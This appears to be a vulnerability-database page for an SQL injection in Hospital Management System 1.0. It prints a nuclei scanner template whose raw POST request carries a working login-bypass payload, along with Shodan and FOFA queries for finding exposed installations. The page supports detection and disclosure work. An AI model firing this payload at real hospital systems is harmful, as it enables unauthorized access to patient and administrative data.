Browse / CVEs / CVE-2022-34590
CVE-2022-34590· hospital management system project / hospital management system· CWE-89
Hospital Management System 1.0 - SQL Injection
Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/admin.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
Impact
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
Fix
Upgrade to the latest version to mitigate this vulnerability.
How to confirm it
Send: POST /hms/admin/
Positive when: contains "<title>Admin | Dashboard</title>" and "Manage Patients" and "Manage Doctors" AND status 200Run it with nuclei: nuclei -id CVE-2022-34590 -u <target>
The full check
id: CVE-2022-34590
info:
name: Hospital Management System 1.0 - SQL Injection
author: arafatansari
severity: high
description: |
Hospital Management System 1.0 contains a SQL injection vulnerability via the editid parameter in /HMS/admin.php. An attacker can possibly obtain sensitive information from a database, modify data, and execute unauthorized administrative operations in the context of the affected site.
impact: |
Successful exploitation of this vulnerability could allow an attacker to execute arbitrary SQL queries, potentially leading to unauthorized access, data leakage, or data manipulation.
remediation: |
Upgrade to the latest version to mitigate this vulnerability.
reference:
- https://github.com/Renrao/bug_report/blob/master/blob/main/vendors/itsourcecode.com/hospital-management-system/sql_injection.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-34590
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/StarCrossPortal/scalpel
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H
cvss-score: 7.2
cve-id: CVE-2022-34590
cwe-id: CWE-89
epss-score: 0.05336
epss-percentile: 0.92687
cpe: cpe:2.3:a:hospital_management_system_project:hospital_management_system:1.0:*:*:*:*:*:*:*
metadata:
verified: true
max-request: 1
vendor: hospital_management_system_project
product: hospital_management_system
shodan-query:
- http.html:"Hospital Management System"
- http.html:"hospital management system"
fofa-query: body="hospital management system"
tags: cve,cve2022,hms,cms,sqli,hospital_management_system_project,vuln
http:
- raw:
- |
POST /hms/admin/ HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
username=admin%27+or+%271%27%3D%271%27%23&password=admin%27+or+%271%27%3D%271%27%23&submit=
host-redirects: true
max-redirects: 2
matchers-condition: and
matchers:
- type: word
part: body
words:
- '<title>Admin | Dashboard</title>'
- 'Manage Patients'
- 'Manage Doctors'
condition: and
- type: status
status:
- 200References
- https://github.com/Renrao/bug_report/blob/master/blob/main/vendors/itsourcecode.com/hospital-management-system/sql_injection.md
- https://nvd.nist.gov/vuln/detail/CVE-2022-34590
- https://github.com/ARPSyndicate/cvemon
- https://github.com/ARPSyndicate/kenzer-templates
- https://github.com/StarCrossPortal/scalpel
Use this check only on systems you are authorised to test. Where the data comes from